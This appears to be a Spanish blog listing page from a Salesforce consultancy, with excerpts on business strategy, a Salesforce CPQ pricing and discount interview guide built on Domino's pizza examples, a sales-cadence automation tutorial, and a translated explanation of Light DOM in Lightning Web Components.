Categorías
Estrategias para Empresas

El Poder de Saber lo que no Sabes y Cómo Reinventarte

La inteligencia es por lo general vista como la habilidad para pensar y aprender, pero en un mundo rápidamente cambiante puede importar mas aquello que podamos repensar y desaprender. El psicólogo empresaria Adam Grant es un experto en abrir las mentes de otras personas y la propia. En el siguiente articulo basado en el libro […]

Categorías
Estrategias para Empresas

El Secreto de los Equipos Mas Exitosos del Mundo

La cultura de grupo es una de las mayores fuerzas que existen. Podemos percibir su presencia en los negocios de éxito, en los equipos que lideran los campeonatos y en las familias más prósperas, y enseguida notamos cuándo falta y cuándo se ha vuelto tóxica. Todos queremos implantar una cultura fuerte en nuestras respectivas organizaciones, […]

Categorías
Estrategias para Empresas

El Secreto No Oculto de los Equipos Mas Exitosos del Mundo

¿Qué hacen concretamente los mejores equipos, y qué hacen los responsables de dichos equipos para precisamente liderar y conseguir sostener esos altos niveles de rendimiento? Daniel Coyle, autor del libro The Culture Code, es uno de esos expertos, investigadores, asesores y divulgadores que acierta especialmente en la forma de concebir un modelo de trabajo. Daniel […]

Categorías
Estrategias para Empresas

Como Tomar Mejores Decisiones En la Vida y en El Trabajo

¿Como podemos tomar mejores decisiones?. ¿Porque es que nos puede agradar o desagradar alguien mucho antes de llegar a conocerlo? ¿Porque desconfiamos de los extraños sin saber la razón? ¿Porque por otro lado damos mucho peso a la información que está frente nuestro mientras que no logramos considerar la información que está fuera de nuestro […]

Categorías
EGA Futura Software

Cómo Manejar Tu Día a Día Sin Enloquecer

Si el mundo ha cambiado, la forma de trabajar tampoco puede seguir siendo la que era antes de la revolución digital. El mundo de hoy no tiene nada que ver con el mundo en que vivieron los grandes creativos que admiramos. Para ellos era más sencillo evitar las distracciones y trabajar en relativa paz y concentración. En […]

Categorías
Estrategias para Empresas

101 Tácticas Para Una Negociación Exitosa

En un estudio de investigación realizado por alumnos universitarios una década atrás, más de un tercio de los participantes contestaron que casi nunca o nunca negociaban con otras personas. Sin embargo, la verdad es  completamente diferente. Todo en la vida es negociable, bajo cualquier condición, en todo momento, argumentan Peter B. Stark y Jane Flaherty. […]

Categorías
Estrategias para Empresas

Claves Para Manejar Equipos Globales Con Exito

A medida que crece la economía mundial más empresas están ayudando a la expansión internacional. Esto se refiere a la confianza en la fuerza de trabajo dispersa. Se ha transformado en algo muy común el tener empleados remotos en diferentes lugares. La mayoría de los empleados prefieren trabajar con empresas que ofrezcan trabajo remoto. Considerando […]

Categorías
Desarrollo en Salesforce

Nunca te pierdas el ritmo: notificaciones para la eliminación de clientes potenciales en la cadencia de participación de ventas

Última actualización el 1 de noviembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo se notifica al propietario del cliente potencial cuando alguien elimina un cliente potencial de la cadencia de participación de ventas?

Objetivos:

Después de leer este blog, podrás:

  • Comprender la captura de datos modificados
  • Comprender el objeto ActionCadenceTracker
  • Suscríbase para cambiar eventos mediante un activador de Apex
  • Llamar a un flujo iniciado automáticamente desde la clase Apex
  • Y mucho más.

👉 Anteriormente, escribí un artículo sobre Sales Engagement. ¿Por qué no echarles un vistazo mientras lo haces?

  1. ¿Ya ha recorrido el camino de ladrillos amarillos de la cadencia de ventas?

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha asignado una tarea específica. Siempre que un vendedor por teléfono o el equipo de ventas internas elimine un cliente potencial (cliente potencial) de la cadencia de participación de ventas, asegúrese de la creación automática de una tarea con estos detalles:

  • Asunto : – Cliente potencial eliminado de la cadencia de participación en ventas
  • Estado : – No iniciado
  • Prioridad :- Alta
  • Fecha de vencimiento : – Hoy
  • Relacionado con : – Plomo
  • Asignado a : – Propietario principal

¿Qué es la cadencia de participación en ventas?

La adquisición de clientes potenciales es un paso importante en cualquier esfuerzo de marketing. Una vez que los equipos de ventas internas tienen una lista de clientes potenciales, están listos para emprender actividades de divulgación. ¡Pero espera! Demos un paso atrás y reflexionemos sobre las siguientes preguntas como preámbulo para comprender la cadencia de ventas: (1) ¿Con qué frecuencia desea que sus representantes se comuniquen con los clientes potenciales? (2) ¿Cómo le gustaría que se comunicaran con el cliente potencial, mediante llamada o correo electrónico? (2) ¿Cómo desea capturar la disposición de las llamadas? (3) etcétera.

La cadencia de participación de ventas es una línea de tiempo de las actividades y métodos de ventas que siguen los representantes de ventas para atraer clientes potenciales. El propósito de una cadencia es facilitar que el representante de ventas interno cumpla con el cronograma y garantice que los prospectos no sean olvidados, es decir, que nada se pierda. Por ejemplo, si ofrece una consulta gratuita en su sitio web y alguien completa un formulario, la cadencia incluiría una lista de las cosas que hace para programar la primera reunión.

Una cadencia de ventas normalmente incluye tres puntos de contacto diferentes: correo electrónico , redes sociales y llamadas/correos de voz . La cadencia, para diferentes embudos de ventas, puede diferir, pero siempre debe incluir una combinación de las tres formas de comunicación mencionadas.

Una cadencia de participación de ventas se parece a esto:

HVS.png

En otras palabras, las cadencias de participación de ventas difieren de un tipo de proceso de ventas a otro, pero la idea básica sigue siendo la misma: toques consistentes y secuenciales.

¿Qué es la captura de datos modificados?

Categorías
Administración de Salesforce

🤤 ¡Decodificación de precios, descuentos y preguntas de la entrevista en cascada de precios de Salesforce CPQ con escenarios de Domino’s Pizza! 🍕

Enlace de Whatsapp para el grupo Salesforce CPQ

¿Está listo para profundizar en los métodos de fijación de precios de Salesforce CPQ, el modelo de cascada de precios y los descuentos de CPQ? Entenderemos los precios de Salesforce CPQ y abordaremos las preguntas de la entrevista con la ayuda de las deliciosas ofertas de Domino. 🤤📊🍕

Dominó's Pizza | Akron OH

¿Cuáles son los métodos de fijación de precios en Salesforce CPQ?

Métodos de fijación de precios

¿Cuál es el precio de lista en Salesforce CPQ?

Precios en Salesforce Cpq

El precio de lista es el precio que se recupera de la entrada del libro de precios. Una parte importante del precio de lista es la entrada en el libro de precios, ya que los precios se invocan desde el libro de precios. Cada producto debe tener una entrada en el libro de precios; de lo contrario, el producto no aparecerá en la página de selección del editor de líneas de cotización.

Por ejemplo, Domino's tiene su nueva pizza “AI Extravaganza”, con un precio de $24 en su lista de precios CPQ. Ese es nuestro precio de lista. Ahora, en “Techie Night”, ofrecen un 20% de descuento para todos los entusiastas de la tecnología. Salesforce CPQ toma el precio de lista de $24, calcula el descuento del 20 % y al cliente se le ofrece la pizza a $19,20. Pero sin que la entrada del libro de precios de lista establezca el precio de lista.

¿Cuál es el precio de costo?

El precio de costo se utiliza cuando un producto cuesta una cantidad específica para obtenerlo, luego puede agregar el precio de costo y agregar el precio de margen al producto. El margen de beneficio se puede negociar entre los representantes de ventas y el cliente. El precio de costo es el precio que se completa en el precio especial. campo.

Imagine la nueva pizza “AI Extravaganza” de Domino's. Los ingredientes, la mano de obra y los costos generales suman hasta $15 por pizza: ese es nuestro precio de costo. Ahora, Domino's quiere una parte de las ganancias, por lo que añaden un margen de beneficio. Digamos que lo aumentan en $9, lo que hace que el precio de lista sea de $24 (el precio que ves en el menú).

¿Qué es el precio por bloque?

Los precios en bloque son los precios que se actualizan en función de las cantidades del producto comprado. Por ejemplo, un paquete de 1 a 10 unidades costará 10 $, 10 a 20 unidades costará 18 $ y así sucesivamente.

Para configurar el precio por bloque necesitamos actualizar los 4 datos.
Nombre: establezca el nombre para bloquear el método de fijación de precios.
Límite inferior: la cantidad más baja para el rango de cantidades.
Límite superior: la cantidad más alta para el rango de cantidades.
Precio: Precio que se configurará para el rango de cantidad determinado.
Precios en Salesforce Cpq
Nota: El límite superior del precio de un bloque y el límite inferior del precio del siguiente bloque deben ser iguales.

Entendamos con la ayuda del escenario de Dominos, imaginemos el precio en bloque como la oferta especial de Domino's en sus pizzas, pero en lugar de "Compre 1, obtenga 1 gratis", es más como "¡Compre más, ahorre más!". Este enfoque se utiliza en Salesforce CPQ para alentar a los clientes a comprar en mayores volúmenes reduciendo el precio unitario a medida que aumenta la cantidad.

Digamos que Domino's está vendiendo su pizza "AI Extravaganza" e introduce una estrategia de precios en bloque para impulsar las ventas:

– **Nombre**: “Acuerdo en bloque de extravagancia de IA”

– **Límite inferior**: 1 (número mínimo de pizzas)

– **Límite superior**: 10 (número máximo de pizzas antes del siguiente bloque)

– **Precio**: $24 por pizza

Entonces, si pides entre 1 y 10 pizzas “AI Extravaganza”, cada una te costará $24. Pero Domino's quiere incentivarlo a pedir más para sus reuniones tecnológicas o noches de juegos, por lo que presenta lo siguiente:

– **Límite inferior del siguiente bloque**: 11

– **Límite superior del siguiente bloque**: 20

– **Precio del siguiente bloque**: $22 por pizza

Con esta oferta, si pides de 11 a 20 pizzas, el precio baja a $22 cada una. Los asistentes están contentos porque hay mucha pizza y Domino's está encantado con el pedido más grande. ¡Es beneficioso para todos!

Entonces, el precio por bloque es como desbloquear descuentos por volumen: cuanto más pides, más barata se vuelve cada pizza.

¿Qué es el porcentaje del total?
El porcentaje del total se calcula en función del porcentaje de la suma de todos los demás productos que se compran. Por ejemplo, la propina por una cuenta en un restaurante se calcularía en esta categoría.
Para implementar el porcentaje del total, necesitamos actualizar los siguientes campos en los productos:
Método de fijación de precios: configúrelo en "Porcentaje del total"
Porcentaje de la base total: este campo dice en qué campo de precio debemos implementar el porcentaje del total.
Anulación de precio de opción: este precio funcionará solo en el producto del paquete. Las opciones del producto son la opción del paquete. Puede anular el precio del producto si se vende de forma independiente y junto con el paquete.

¡Sumerjámonos en el concepto de “porcentaje del total” con un delicioso escenario de Domino!

Imagina que estás organizando una gran noche de juegos. Entonces, pides una variedad de pizzas, guarniciones y postres, suficiente para satisfacer los diversos antojos de tus amigos. Aquí hay un desglose de su pedido:

5 pizzas a $15 cada una $75
4 órdenes de pan de ajo a $5 cada una $20
3 pasteles de lava a $6 cada uno $18
Total $118
Las bebidas son una entidad separada.
6 botellas de refresco a $2.50 cada una %15

Así es como se integra en Salesforce CPQ:

Método de fijación de precios: seleccionaron "Porcentaje del total". Es dinámico y cambia con sus opciones y porciones de alimentos.

Porcentaje de la base total: se define como la “factura total de alimentos”, que es el costo de pizzas, guarniciones y postres, por un total de $113. Tus refrescos están fuera de esto.

Anulación de precio de opción: normalmente, una botella de cola de Domino's cuesta $2,50, pero usted pidió el "¡Combo!" ¡Este privilegio combinado reduce el costo de los refrescos a $1.80 por botella, lo que le permite ahorrar $4.20 en bebidas!

Total

El “impuesto de fiesta” es el 10% de $113, por lo que son $11,30. El costo total de la comida fue de $113, las bebidas fueron de $15 y con el descuento en bebidas debido a la oferta "Combo", restas $4.20 y luego sumas tu "Impuesto de fiesta" de $11.30. Entonces, ¡el total general de la noche es $135,10!

¿Explica el concepto de “precio de opciones”?

Imagina que estás organizando una fiesta de pizza y Domino's tiene esta oferta llamada "Paquete de fiesta de pizza", que incluye pizzas, guarniciones y bebidas.

Así es como funciona:

Precio opcional: en el “Paquete para fiestas de pizza”, el pan con ajo no cuesta $5; ¡cuesta solo $ 3,75! Obtiene un recorte de precio porque está en un paquete.

Pasos:

1. Primero, agrega pan de ajo a su carrito; sigue siendo $5.

2. Luego, eliges el “Paquete Pizza Party” y el pan de ajo en tu paquete ahora tiene un precio de $3.75.

Lo que sucede aquí, debido al concepto de Precio de Opción, es que el sistema verifica si el pan con ajo es parte del “Paquete de Pizza Party”. entra en vigor el precio con descuento de $ 3,75, como se especifica en la opción del paquete.

Precio de lista en Salesforce CPQ

¿Explicar las limitaciones en el precio de las opciones?

El precio de la opción no admite monedas múltiples, por lo que solo es posible definir el precio de anulación en una sola moneda.

¿Explicar los precios contratados en Salesforce CPQ?

Imagine que Domino's tiene una empresa cliente leal, “Pizza Lovers Texas Inc.”, una empresa local que pide pizzas para su personal todos los viernes. Dado que realizan pedidos con tanta frecuencia y al por mayor, Domino's quiere ofrecerles una oferta especial.

Así es como funciona:

1. Normalmente, una pizza vegetariana grande cuesta $15. Pero para Pizza Lovers Texas, Domino's establece un precio contratado de 12 dólares por pizza, un gesto de lealtad.

  1. En el sistema CPQ Salesforce de Domino, van a la cuenta de Pizza Lovers Texas.
  2. Navegue a la pestaña "Relacionados" y, en la sección "Precios contratados", hagan clic en "Nuevo".
  3. Seleccionan la pizza vegetariana en el campo "Producto" e ingresan $12 en el campo "Precio": se establece el precio contratado.

¡Consejos profesionales sobre precios contratados! 🍕✨

1. No hay ofertas dobles: si Pizza Lovers Texas Inc. tuviera dos precios contratados diferentes para la misma pizza vegetariana, un contrato la ofrece a $12 y otro anterior a $14. El sistema Salesforce de Domino no sabría cuál debo elegir. Para evitar esto, CPQ se asegura de tener solo UN precio contratado por producto para cada cuenta.

2. Excepciones de precios especiales: los productos que utilizan métodos de fijación de precios, precios en bloque o porcentaje del precio total, no funcionan con el precio contratado.

3 Asuntos familiares: si las Cuentas están vinculadas por una relación padre-hijo, entonces, de forma predeterminada, todos los hijos heredan el Precio Contratado creado en la Cuenta Padre.

Digamos que PizzaLovers Texas Inc. es parte de un imperio más grande, "PizzaLovers Universe", con subsidiarias como "PizzaLovers Chicago" y "PizzaLovers Bay" instaladas en diferentes ubicaciones. Domino's establece un precio contratado con la empresa matriz, "PizzaLovers Universe". Salesforce CPQ aplica automáticamente este precio contratado a todas las subsidiarias de PizzaLovers porque, en el mundo de la pizza, la familia está unida.

¿Explique el caso de uso de 'Ignorar precios contratados por los padres'?

¿Qué pasa si “PizzaLovers Chicago” negocia un trato exclusivo y diferente porque piden el doble cada viernes? Domino's simplemente cambia la opción "Ignorar precios contratados de la empresa matriz" a verdadero en esa cuenta, asegurando que "PizzaLovers Chicago" obtenga su oferta única, mientras que el resto aún se beneficia del precio contratado de la empresa matriz.

¿Explicar el precio “Anulación manual” en los precios de Salesforce CPQ? 🍕🔥

1.Crea tu propia pizza:

¿Por qué Domino's cobraría más cuando construyes tu propia pizza en lugar de personalizar una pizza especial? – Cuida tus decisiones

Dominos sabe que a veces quieres crear tu propia pizza. Por lo tanto, establecieron el campo "Precio editable" en verdadero en el producto "Crea tu propia pizza". Ingresa al Editor de líneas de cotización y puede ajustar el precio de lista según la cantidad y el tipo de ingredientes que elija para esa pizza.

Anulación manual en los precios de Salesforce CPQ

2. Flexibilidad:

Domino's ofrece conexión Wi-Fi gratuita en sus restaurantes. El Wi-Fi normalmente se "vende" usando el "Método de precio = Lista", pero para reservas de grupos grandes, lo ofrecen como un beneficio, parte del "Método de precio = Porcentaje del total" con la factura total. Para cambiar entre estos métodos, hacen que el campo "Método de fijación de precios" sea editable en el Editor de líneas de cotización configurando "Método de fijación de precios editable" en verdadero para el producto (en este caso, Wi-Fi).

Información de cotización en precios de Salesforce CPQ

3. Ofertas personalizadas para comidas personalizadas:

A veces, un cliente negocia un trato que no se ajusta a los métodos de fijación de precios habituales. Domino's responde configurando 'Método de fijación de precios = Personalizado' en el Editor de líneas de cotización. Luego, el personal puede establecer manualmente un precio personalizado.

establecer el método de fijación de precios en Salesforce CPQ

4. El lado sorpresa:

¿Alguna vez el personal de Domino's te recomendó pan de ajo con queso para pedir? A veces, lo agregan a su pedido como un artículo "Opcional" configurando el campo "Opcional" en verdadero en el Editor de líneas de cotización. No sumará su total, pero está ahí para que lo considere.

¿Explicar la cascada de precios?

Cascada | Geología, Erosión e Hidrología | Británica

¡Profundicemos en el concepto de cascada de precios en Salesforce CPQ! 💦

La cascada de precios de CPQ es un proceso/secuencia de varios pasos que utiliza diferentes precios y descuentos para llegar al precio neto (este es el campo de precio para el total de la línea de cotización/cotización).

Se describe como una cascada que se abre camino de arriba a abajo a través de los diferentes precios y descuentos/ajustes.

Precios de Salesforce CPQ y su descripción

1. Precio de lista:

Este es el punto de partida: el precio del menú. Digamos que el precio de lista de la pizza grande “ExtravaganZZa” de Domino's es de $20, como figura en su Libro de precios.

2. Precio Contratado:

Domino's tiene clientes leales, como el "Pizza Club", que cenan todos los martes. Han negociado un 5% de descuento en todas las pizzas a través de un programa de fidelización. Entonces, para ellos, el precio contratado para “ExtravaganZZa” no es $20 sino que baja a $19 ($20 menos 5%).

3. Precio especial:

En ocasiones, Domino's ofrece una promoción especial de un día, como “Cheesy Thursday”, donde todas las pizzas tienen un 10% de descuento adicional. Esta promoción se aplica sobre el Precio Contratado o el Precio de Lista. Para el leal “Pizza Club”, esto reduce su pizza de $19 a $17,10 para ese día.

4. Precio prorrateado:

Supongamos que un miembro del club quiere comprar la mitad de un “ExtravaganZZa” y la mitad de un “Veggie Delight” (también con un precio de 20 dólares). Dominos calcula un Precio Prorrateado, donde toman el Precio Especial ($17.10) y lo multiplican por un factor considerando el escenario de mitad y mitad, digamos 0.5 por cada mitad, lo que equivale a $8.55 por cada porción de media pizza.

5. Precio Regular:

Si no hay un escenario especial, se aplica el Precio Regular. Es el Precio Prorrateado o vuelve al Precio de Lista original. Entonces $19 por “ExtravaganZZa”.

En el contexto del escenario de Domino's pizza con Salesforce CPQ, analicemos en detalle el precio para el cliente, el precio para el socio y el precio neto.

6. Precio al cliente:

Es el precio final que paga un consumidor directo después de considerar todos los descuentos aplicables y precios especiales. Para los miembros del “Pizza Club” que cenen un “Cheesy Thursday”, el precio al cliente por un “ExtravaganZZa” sería la tarifa especial de $17,10.

7. Precio del socio:

El Precio de Socio es una tarifa especial que se ofrece a los socios comerciales, generalmente más baja que la tarifa estándar, para adaptarse a los márgenes de beneficio de los socios. Por ejemplo, una aplicación de entrega de alimentos 'Uber' podría recibir el "ExtravaganZZa" a un precio de socio de $16, lo que les permitirá aumentarlo para sus clientes.

8. Precio Neto:

Son los ingresos que el vendedor se queda con la venta después de deducir todos los descuentos, bonificaciones o rebajas. El precio neto refleja los ingresos reales que obtiene el vendedor por el producto antes de restar sus costos internos.

En el caso de Domino's, el precio neto es la cantidad que Domino's registra como ingreso por la pizza "ExtravaganZZa" vendida al miembro del club el "Cheesy Thursday".

¿Cómo puede Salesforce CPQ ayudar a una empresa a gestionar la complejidad de los precios de manera más eficiente?

Con Salesforce CPQ, en lugar de crear múltiples libros de precios, la empresa puede tener un libro de precios estándar y aplicar excepciones y ajustes de precios según sea necesario. Por ejemplo, si hay un descuento del 20 % a nivel nacional en la pizza "Veg Extravaganza", esto se puede aplicar además del libro de precios estándar sin crear uno nuevo.

¿Pueden los representantes de ventas ofrecer productos como parte de un paquete a un precio diferente con Salesforce CPQ, aunque sea el mismo producto que figura en el libro de precios?

Domino's 1 Pizza Grande (2 Toppings) + Coca Cola 2 Litros - Newegg.com

¡Sí! Salesforce CPQ permite configuraciones de precios avanzadas. Por ejemplo, una botella de “Coca-Cola” podría tener un precio de 2 dólares si se vende individualmente. Aún así, cuando forma parte del paquete “Family Feast” (que incluye pizzas, guarniciones y una bebida), el precio efectivo de la “Coca-Cola” dentro del paquete podría ser de solo $1,50. Este precio diferencial es posible dentro del mismo libro de precios debido a la flexibilidad de Salesforce CPQ.

¿Los representantes de ventas todavía necesitan libros de precios si utilizan Salesforce CPQ?

Sí, los libros de precios siguen siendo un elemento fundamental en Salesforce CPQ. Proporcionan los precios de referencia a partir de los cuales se derivan todos los ajustes, descuentos o precios especiales. Si un producto no tiene una entrada en el libro de precios, no aparecerá en la página de selección de productos y no se podrá agregar a una cotización. Incluso una entrada de $0 puede ser significativa, ya que puede indicar un artículo complementario o un producto cuyo precio final se determinará mediante los métodos de fijación de precios de Salesforce CPQ.

¿Qué deben recordar los representantes de ventas al crear nuevos productos en su sistema?

Domino's siempre debe asegurarse de que cualquier producto que introduzca tenga una entrada en el libro de precios asociada. Esta inclusión es crucial porque, sin ella, el producto no estará disponible para su selección al crear cotizaciones, incluso si está destinado a ser un artículo promocional con un valor de cero dólares.

Analicemos cómo funcionan los métodos de fijación de precios de Salesforce CPQ, centrándonos particularmente en la fijación de precios de opciones y su interacción con otros métodos, utilizando Domino's como nuestro escenario de ejemplo.

¿Para qué sirve la casilla de verificación incluida?

Diagrama de flujo de precios de lista

Si Domino's decide que el "Combo de fiesta" es una promoción especial y los artículos individuales que contiene (las opciones) no deben tener el precio habitual cuando se venden por separado, marcarán la casilla "Combinado" en Salesforce CPQ para este combo.

Esto significa que aunque una “Pizza Vegetariana” por sí sola suele costar $18, dentro del “Combo de Fiesta” tiene un precio de $0.00, al igual que los demás artículos del combo.

Descuentos en Salesforce CPQ

Métodos de descuento

¿Qué es el descuento opcional en CPQ?

Domino's ofrece un paquete de productos, similar a una oferta combinada, llamado "Pizza Fiesta". Este paquete incluye una pizza grande “Veggie Extravaganza”, “Cheesy Bread” y un refresco.

¿Cómo configurar el descuento opcional en CPQ?

  1. Creación de paquetes de productos: Domino's establece por primera vez un paquete de productos llamado “Pizza Fiesta” que incluye tres artículos:
  • Pizza “Extravagancia Vegetal”
  • “Pan con queso”
  • soda

2. Identificación del artículo con descuento: Domino's decide que el “Cheesy Bread” será un 10% más barato si se pide como parte del paquete “Pizza Fiesta”, en comparación con su precio regular a la carta.

3. Configuración del descuento en Salesforce CPQ: el administrador de Domino's ingresa a Salesforce CPQ y navega hasta el producto del paquete principal "Pizza Fiesta" en el sistema. En la pestaña Relacionados, encontrarán todos los productos que forman parte de este paquete enumerados como Opciones de producto.

4. Aplicación del descuento opcional: el administrador ubica el “Pan con queso” dentro de la lista de Opciones de producto para el paquete “Pizza Fiesta”. Luego establecieron un precio específico que indica que cuando el “Cheesy Bread” es parte del paquete “Pizza Fiesta”, genera un descuento del 10% en este artículo en particular.

¿Explicar la función de descuento manual en Salesforce CPQ?

Imagine que un cliente habitual realiza un pedido al por mayor para una próxima fiesta. Pidieron 20 pizzas “vegetarianas”, cada una con un precio original de $10. Para premiar esta compra al por mayor, el responsable comercial ha decidido ofrecer un descuento especial. En lugar del precio normal, quieren que el costo total de las 20 pizzas sea de $150, en lugar de $200.

¿Qué es un campo no descontable en Salesforce CPQ?

Domino's está realizando una promoción especial en pizzas "Veggie Delight", y estas no son elegibles para más descuentos. El campo "No descontable" se marcaría para este producto en Salesforce CPQ, evitando cualquier descuento manual adicional en este artículo, independientemente del tamaño del pedido.

¿Cómo agregar valores de Unidad y Total a la lista de selección?

Nos dirigimos al objeto Línea de Cotización y creamos un nuevo campo de tipo lista de selección con el nombre AdditionalDiscountUnit y los valores que se muestran a continuación.

Unidad de descuento adicional

Ahora podemos elegir valores adicionales.

monedas en cpq descuento

¿Explicar el descuento para socios y distribuidores en Salesforce CPQ?

Este método se utiliza cuando queremos darle un descuento de socio adicional al cliente. Los valores de estos descuentos se muestran en los campos Descuento de distribuidor y Precio unitario neto en el objeto Línea de cotización. Se calculan mediante las siguientes fórmulas:

Precio para socios = Precio para clientes – Descuento para socios

Precio neto = Precio de socio – Descuento de distribuidor

¿Explicar el descuento basado en el volumen?

Domino's quiere dar un incentivo a los clientes para que pidan más pizzas durante una copa mundial de cricket ofreciendo descuentos basados en el volumen.

Domino's Pizza en X: "¡El cricket es genial, pero el cricket con Domino's es aún mejor! Para celebrar esta temporada de cricket, te traemos nuestra oferta Cricket Fever. Disfruta de 2 pizzas medianas, 8

1. Configuración del programa de descuentos:

Editar niveles en cpq discountig

claves masivas en descuento cpq

El administrador de Domino's navega a la pestaña "Programaciones de descuentos" dentro de Salesforce CPQ y crea una nueva programación denominada "Especial del día del juego".

– Luego hacen clic en “Editar niveles” y configuran los niveles de volumen de la siguiente manera:

– 1-10 pizzas: 0% de descuento

– 11-20 pizzas: 10% de descuento

– 21-30 pizzas: 15% de descuento

– 31+ pizzas: 20% de descuento

– Guardan esta estructura de niveles, que dictará el descuento aplicado en función de la cantidad de pizzas solicitadas.

2. Aplicación del Programa de Descuentos a los Productos:

Luego, el administrador va a la pestaña "Productos" y selecciona las pizzas elegibles para esta promoción, como "Cheesy Extravaganza" y "Veggie Feast".

– En el campo “Programa de descuentos” de cada producto, seleccionan el programa “Especial del día del juego” que crearon previamente.

Calendario de descuentos de Salesforce CPQ

3. Realización de pedidos y cálculo de descuentos:

– Un cliente hace un pedido de 25 pizzas “Cheesy Extravaganza” durante el fin de semana del evento de cricket.

– Cuando el pedido ingresa al sistema, el comercial crea una nueva cotización y le agrega las 25 pizzas.

– Al hacer clic en “Calcular” en Salesforce CPQ, el sistema reconoce automáticamente que la cantidad cae en el nivel 21-30, aplicando así un descuento del 15% al pedido.

– El representante de ventas ve el precio regular y el precio con descuento uno al lado del otro, confirmando que el descuento por volumen se aplicó correctamente.

editar cotización en descuento de salesforce cpq

4. Verificación de los detalles del descuento:

Junto a la pizza "Cheesy Extravaganza" en la cotización, aparece un signo "$" para indicar que se aplica un programa de descuentos.

Programación de descuentos en descuentos de Salesforce CPQ

Al hacer clic en él, el representante de ventas (y cualquier otro usuario con los permisos necesarios) puede ver los niveles de descuento, lo que brinda transparencia sobre cómo se calculó el precio final.

¿Cuál es la estructura del programa de descuentos?

La estructura típica de un programa de descuentos implica la definición de niveles específicos. Cada nivel incluye el nombre del nivel, el límite inferior, el límite superior y el descuento (porcentaje/monto) aplicable en ese nivel.

Hay dos formas en que funciona el programa de descuentos: –

  • Losa
  • Rango

1. Programa de descuentos de losa:

Domino's quiere ofrecer un descuento de Slab durante un festival local. Establecieron los siguientes niveles:

– 1-5 pizzas: 0% de descuento

– 6-10 pizzas: 5% de descuento

– 11+ pizzas: 10% de descuento

Utilizando el método Slab, Salesforce CPQ calcula el descuento de la siguiente manera:

Las primeras 5 pizzas obtienen un 0% de descuento.

Las siguientes 5 pizzas (pizzas 6 a 10) reciben un 5% de descuento.

Las 2 pizzas finales (pizzas 11 y 12) reciben un 10% de descuento.

Cada “losa” o nivel de pizzas se descuenta según su respectivo tramo, no según la cantidad total del pedido.

2. Programa de descuentos por rango:

Domino's decide ofrecer un descuento de gama durante un evento deportivo importante. Establecieron los siguientes niveles:

– 1-7 pizzas: 0% de descuento

– 8-14 pizzas: 7% de descuento

– 15+ pizzas: 15% de descuento

Utilizando el método Rango, Salesforce CPQ calcula el descuento de la siguiente manera:

– El total de 10 pizzas se encuentran dentro del rango de 8 a 14.

– Por tanto, las 10 pizzas reciben un 7% de descuento.

El descuento se aplica al pedido total según el rango en el que se encuentra la cantidad total.

¿Cuáles son los pasos para configurar un programa de descuentos?

  1. Abra la aplicación Salesforce CPQ desde el iniciador de aplicaciones.
  2. Escriba "Programación de descuentos" en el cuadro de búsqueda del iniciador de aplicaciones.
  3. Abra la pestaña Programación de descuentos y haga clic en "nuevo".
  4. Establecer el nombre del horario,
  5. Establezca el tipo como Rango o Losa según el requisito.
  6. Seleccione la unidad de descuento entre las opciones de Porcentaje, Monto y precio según el requisito.
  7. Para el alcance de agregación, seleccione Cotización o Grupo según el requisito.
  8. Haga clic en 'Guardar'.

¿Cuáles son los pasos para crear niveles de descuento y asociar el programa de descuentos con el producto?

  1. Abra el Programa de descuentos en el que queremos crear Niveles de descuentos.
  2. Haga clic en 'Editar nivel'.
  3. Establezca el nombre del nombre de primer nivel.
  4. Establezca el límite inferior del primer nivel.
  5. Establezca el límite superior del primer nivel.
  6. Establezca el descuento (porcentaje/importe).
  7. Haga clic en el botón + para agregar un nuevo nivel y repita los pasos del 3 al 6.
  8. Repita el paso 7 según el requisito de los niveles necesarios.

9. Haga clic en Guardar.

10. Abra la pestaña Producto desde la barra de navegación y seleccione el producto al que queremos asociar el Programa de Descuentos.

11. Haga clic en el botón 'Editar'.

12. En el campo Programación de descuentos, ingrese el nombre del programa de descuentos creado.

13. Haga clic en el botón 'Guardar'

50% Me gusta VS
50% No me gusta
Categorías
Estrategias para Empresas

Desmitificando Light DOM y sus casos de uso ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Desmitificando Light DOM y sus casos de uso | Blog de desarrolladores de Salesforce

Light DOM es una función de Lightning Web Components que ha estado disponible de forma general en Lightning Experience, Experience Cloud, LWC OSS (código abierto) y todas las versiones de la aplicación móvil Salesforce desde Summer '23 .

Los componentes web Lightning, de forma predeterminada, se representan en DOM oculto , lo que proporciona una encapsulación y seguridad sólidas para sus componentes. Sin embargo, al mismo tiempo, evita el estilo global y bloquea las integraciones de terceros que introspeccionan el interior de sus componentes. Light DOM es una característica que se puede habilitar de forma granular en componentes seleccionados, de modo que Shadow DOM no los afecte.

¿Cómo funciona el DOM ligero?

Usemos un componente web Lightning muy simple como ejemplo.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

«>

holaCodey.js

En el ejemplo anterior, el DOM oculto predeterminado del componente evita que una regla CSS definida en el componente principal o el host alcance el elemento <p> . Además, no permite que el código JavaScript externo al componente consulte el elemento <p> mediante las API de consulta del navegador.

Para activar el DOM ligero para un componente, debe especificar el renderMode ligero en su archivo JavaScript y la directiva de plantilla lwc:render-mode en la etiqueta <template> del componente. Ambos cambios son necesarios debido a la forma en que se compilan los componentes web Lightning.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

«>

holaCodey.js

Cuando activa el DOM claro en un componente, el marcado del componente se adjunta al elemento anfitrión en lugar de a su árbol de sombra. Luego puede acceder al marcado desde otros componentes de la página como cualquier otro contenido en el host del documento que no esté protegido por Shadow DOM.

Los componentes DOM ligeros permiten el uso de API de consulta de navegador estándar como querySelector y querySelectorAll . En este caso, en lugar de usar this.template.querySelector , debes usar this.querySelector .

holaCodey.js

O más simplemente, a menudo puedes usar la directiva lwc:ref en ambos casos (componentes DOM sombreados y claros) y omitir el querySelector .

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

«>

holaCodey.js

Cuándo usarlo y cuándo no usarlo

Light DOM es una opción para cada componente individual. Sus efectos no se aplicarán a otros componentes a menos que también opten por participar. Tenga en cuenta que los componentes base siempre se representan en DOM oculto.

